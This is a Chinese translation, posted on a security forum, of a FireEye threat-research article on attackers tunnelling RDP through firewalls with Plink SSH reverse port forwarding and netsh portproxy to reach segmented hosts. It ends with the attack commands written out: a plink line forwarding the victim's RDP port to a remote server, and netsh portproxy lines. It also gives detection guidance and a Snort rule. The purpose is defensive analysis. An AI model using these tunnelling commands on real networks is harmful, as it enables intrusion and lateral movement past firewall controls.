远程桌面服务是微软Windows系统的一个组件,各公司都使用它来为系统管理员、工程师以及远程员工提供便利的服务。另一方面,远程桌面服务,特别是远程桌面协议(RDP),在目标系统被攻陷时也为远程攻击者提供了同样的便利。当攻击者拿下Windows系统据点,并获得充足的登录凭据后,他们可能会从利用后门管理机器变为直接使用RDP会话进行远程访问。当整个攻击链中不再使用恶意程序之后,整个入侵行为变得越来越难以检测。
与非图形化后门相比,攻击者依旧更青睐稳定性和功能性更有优势的RDP,即使这种方式可能会在系统上留下不必要的痕迹。因此,FireEye观测到有攻击者使用本地Windows RDP程序在被入侵环境中跨系统进行横向通信。一般来讲,受防火墙和NAT规则保护的非暴露系统通常被认为不容易受到入站RDP连接的影响; 然而,攻击者越来越多地开始使用网络隧道和基于主机的端口转发来破坏这些企业的网络控制策略。
网络隧道和端口转发利用防火墙“针孔”(指那些不受防火墙保护的端口,它们允许应用程序访问受防火墙保护的网络中的主机上的服务)与防火墙保护的远程服务器建立连接。一旦经过防火墙建立了与远程服务器的连接,该连接就可以用作传输通道来通过防火墙发送数据,或作为连通到本地侦听服务(位于防火墙内)的“隧道”,使远程服务器(位于防火墙外面)可以访问它们,如图1所示。
图1:使用RDP以及SSH网络隧道绕过企业防火墙的示例
用于开启RDP会话隧道的常用工具是PuTTY Link,通常称为Plink。Plink可用于使用任意源和目标端口与其他系统建立安全shell(SSH)网络连接。由于许多IT环境要么不执行协议检查,要么不阻止从其网络出站的SSH通信。因此,FIN8等攻击者使用Plink创建加密隧道,允许受感染系统上的RDP端口与攻击者的C2(command and control)服务器进行通信。
图2提供了使用Plink成功创建RDP隧道的示例,图3提供了使用来自攻击者的C2服务器通过端口转发的形式建立隧道进行通信的示例。
图2:使用Plink成功创建RDP隧道的示例
图3:成功从攻击者C2服务器到受害者的端口转发示例
应该注意的是,对于能够对系统进行RDP的攻击者,他们必须已经通过其他方式访问系统,以便创建或访问用于建立隧道所必需的实用程序。例如,攻击者对系统的入侵最初可能是从在网络钓鱼电子邮件中插入有效载荷开始的,旨在建立与目标机器的接入环境,同时提取凭据以升级权限。使用RDP隧道进入被攻陷的网络环境,通常是攻击者用于维护其对目标系统的访问的众多方法中的一种。
RDP不仅是从外部访问内部被攻陷主机的完美工具,RDP会话还可以跨多个系统进行菊花链连接,以便在环境中横向移动。FireEye观察到使用本机Windows Network Shell(netsh)命令的攻击者利用RDP端口转发作为访问新发现的仅通过管理跳板机可到达的分段网络的方式。
netsh进行端口转发示例:
netsh进行端口转发简介版的命令示例:
例如,攻击者可以配置跳板机在任意端口上侦听从先前被攻陷的主机发送的流量。然后,流量将通过跳板机直接转发到分段网络上的任何系统,使用任何指定端口,包括RDP的默认的TCP3389端口.这种类型的RDP端口转发为攻击者提供了一种利用跳板机允许的网络路由的方法,可以在建立RDP会话期间,不会中断正在使用跳板机的合法管理员。图4提供了通过管理跳板机到分段网络的RDP横向移动的示例。
图4:使用跳板机通过RDP进行横向移动到分段网络
如果启用了RDP,攻击者可以通过隧道或端口转发来横向移动并在网络环境中维持访问。为了降低漏洞危害并检测这些类型的RDP攻击,组织内部应该关注基于主机和基于网络的预防和检测机制。有关其他信息,请参阅FireEye博客文章,了解如何建立远程桌面协议的基准 。
注册表项:
同样,使用以下Windows注册表项存储netsh创建的PortProxy配置:
收集和查看这些注册表项可以识别合法的SSH和意外的隧道活动。可能需要进一步审查以确认每一项的目的。
事件日志:
查看高保真的登录事件的事件日志。常见的RDP登录事件包含在Windows系统上的以下事件日志中:
"TerminalServices-LocalSessionManager"日志包含:由EID为21标识的成功交互式本地或远程登录事件,并且成功重新连接先前建立的RDP会话,该会话未由EID为25标识的正确用户注销终止。“安全”日志包含成功类型由EID 4624标识的类型为10的远程交互式登录(RDP)。记录为本地主机IP地址(127.0.0.1 - 127.255.255.255)的源IP地址可能表示从侦听本地主机端口路由到本地主机的RDP端口的隧道登录TCP 3389。
以上是用于识别RDP隧道的示例Snort规则
RDP使IT环境能够为用户提供自由和便捷的操作性。但随着越来越多的攻击者使用RDP突破被被限制访问的网络横向移动,安全团队正面临着区分合法和恶意的RDP流量的挑战。因此,应采取适当的基于主机或者基于网络的预防和检测方法来主动监控并能够识别恶意RDP使用情况。
原文连接:https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html 翻译:看雪翻译组-skeep 校对:看雪翻译组-玉林小学生
Plink使用示例:
plink.exe <users> @ <ip或者域名> -pw <密码> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389
netsh interface portproxy add v4tov4 listenport = 8001 listenaddress = <JUMP BOX IP> connectport = 3389 connectaddress = <DESTINATION IP>
netsh l p a v l= 8001 listena = <JUMP BOX IP> connectp = 3389 c = <DESTINATION IP>
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-4-1 21:35
被skeep编辑
,原因: